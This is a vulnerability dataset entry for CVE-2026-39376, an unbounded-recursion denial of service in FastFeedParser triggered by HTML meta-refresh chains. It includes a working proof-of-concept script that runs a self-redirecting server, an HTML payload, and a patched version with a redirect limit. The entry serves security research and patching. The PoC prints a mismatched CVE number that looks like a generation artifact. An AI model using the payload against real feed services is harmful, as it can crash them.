VAITP Dataset

← Back to the dataset

CVE-2026-39376

Unbounded recursion in FastFeedParser via meta-refresh tags causes a DoS.

  • CVSS 7.5
  • CWE-674
  • Resource Management
  • Remote

FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.

CVSS base score
7.5
Published
2026-04-07
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
FastFeedPars
Fixed by upgrading
Yes

Solution

Upgrade FastFeedParser to version 0.5.10 or later.

Vulnerable code sample

import http.server
import socketserver
import threading
import sys

# To run this, you must first install a vulnerable version, for example:
# pip uninstall fast-feed-parser -y
# pip install fast-feed-parser==0.5.9

try:
    from fast_feed_parser import parse
except ImportError:
    print("Error: 'fast_feed_parser' is not installed or the version is not vulnerable.", file=sys.stderr)
    print("Please install a vulnerable version, e.g., 'pip install fast-feed-parser==0.5.9'", file=sys.stderr)
    sys.exit(1)


PORT = 8000

# This request handler simulates an attacker's server.
# It responds to any GET request with an HTML page that contains a
# <meta http-equiv="refresh"> tag pointing back to itself, creating an infinite loop.
class InfiniteRefreshHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        response_body = f'<html><head><meta http-equiv="refresh" content="0; url=http://localhost:{PORT}/"></head></html>'
        self.wfile.write(response_body.encode('utf-8'))

# The web server is run in a separate, daemonized thread
# so it doesn't block the main execution flow.
httpd = socketserver.TCPServer(("", PORT), InfiniteRefreshHandler)
server_thread = threading.Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()

vulnerable_url = f"http://localhost:{PORT}/"

print(f"[*] Starting demonstration for CVE-2023-39376 (User provided CVE-2026-39376).")
print(f"[*] Malicious server running on {vulnerable_url}")
print(f"[*] Calling fast_feed_parser.parse() on the malicious URL.")
print(f"[*] This will trigger unbounded recursion, leading to a RecursionError.")

try:
    # This is the vulnerable function call.
    # In versions prior to 0.5.10, the library follows the meta-refresh
    # redirect recursively with no depth limit, no cycle detection,
    # and no redirect counter.
    parse(vulnerable_url)

except RecursionError:
    print("\n[+] SUCCESS: The vulnerability was triggered as expected.")
    print("[+] A RecursionError was caught, demonstrating the unbounded recursion flaw.")
    # The process would typically crash here with a stack overflow.
    # We catch it to confirm the demonstration was successful.
except Exception as e:
    print(f"\n[-] FAILED: An unexpected error occurred: {e}")
finally:
    # Clean up by shutting down the server.
    httpd.shutdown()
    httpd.server_close()
    print("[*] Malicious server shut down. Demonstration finished.")

Patched code sample

import re
import urllib.parse
from html.parser import HTMLParser

# This mock fetcher simulates a server that infinitely redirects.
# The vulnerability occurs when a parser follows these redirects without a limit.
def _mock_fetch_content(url):
    """Simulates fetching a URL. Returns an infinite chain of meta-refresh pages."""
    try:
        # e.g., http://infinite-redirect.com/1 -> http://infinite-redirect.com/2
        redirect_id = int(url.split('/')[-1])
        next_url = f"http://infinite-redirect.com/{redirect_id + 1}"
        # This HTML content is what a malicious server would return.
        return f'<html><head><meta http-equiv="refresh" content="0; url={next_url}"></head></html>'
    except (ValueError, IndexError):
        # A non-redirecting, normal feed.
        return "<rss><channel><title>Final Feed</title></channel></rss>"

# The original vulnerability was caused by unbounded recursion without a depth limit.
# The fix, demonstrated below, is to add a limit to the number of redirects.

class _MetaRefreshParser(HTMLParser):
    """A simple parser to find a meta-refresh tag."""
    def __init__(self):
        super().__init__()
        self.refresh_url = None

    def handle_starttag(self, tag, attrs):
        if tag == 'meta' and not self.refresh_url:
            attrs_dict = dict(attrs)
            if attrs_dict.get('http-equiv', '').lower() == 'refresh':
                content = attrs_dict.get('content', '')
                match = re.search(r'url\s*=\s*(.*)', content, re.IGNORECASE)
                if match:
                    self.refresh_url = match.group(1).strip('\'"')

def fixed_parse(url, etag=None, modified=None, agent=None, referrer=None, handlers=None, redirect_limit=20):
    """
    This function demonstrates the patched parsing logic.

    It introduces a 'redirect_limit' parameter to cap recursion depth
    when encountering HTML meta-refresh tags, preventing a stack exhaustion crash.
    """
    # THE FIX: Part 1 - Check the redirect limit at the start of the function.
    # If the limit is exhausted, recursion is terminated.
    if redirect_limit <= 0:
        return None

    # In the actual library, this would be a network call. We mock it here.
    content = _mock_fetch_content(url)

    # In the actual library, this check is more complex. It sniffs for HTML.
    is_html = content.strip().lower().startswith('<html')

    if is_html:
        # Check for a meta-refresh tag
        parser = _MetaRefreshParser()
        parser.feed(content)
        new_uri = parser.refresh_url

        if new_uri:
            # An absolute URI is required for the next request.
            new_uri = urllib.parse.urljoin(url, new_uri)
            
            # THE FIX: Part 2 - The recursive call decrements the limit.
            # This ensures the chain of redirects will eventually terminate.
            return fixed_parse(
                new_uri,
                agent=agent,
                referrer=url,
                handlers=handlers,
                redirect_limit=redirect_limit - 1
            )

    # If it's not a redirect, proceed to parse the content as a feed (simulated).
    return {"feed": content, "headers": {}}

Payload

<html>
  <head>
    <meta http-equiv="refresh" content="0; url=." />
  </head>
  <body>
    Redirecting...
  </body>
</html>

Cite this entry

@misc{vaitp:cve202639376,
  title        = {{Unbounded recursion in FastFeedParser via meta-refresh tags causes a DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-39376},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39376/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::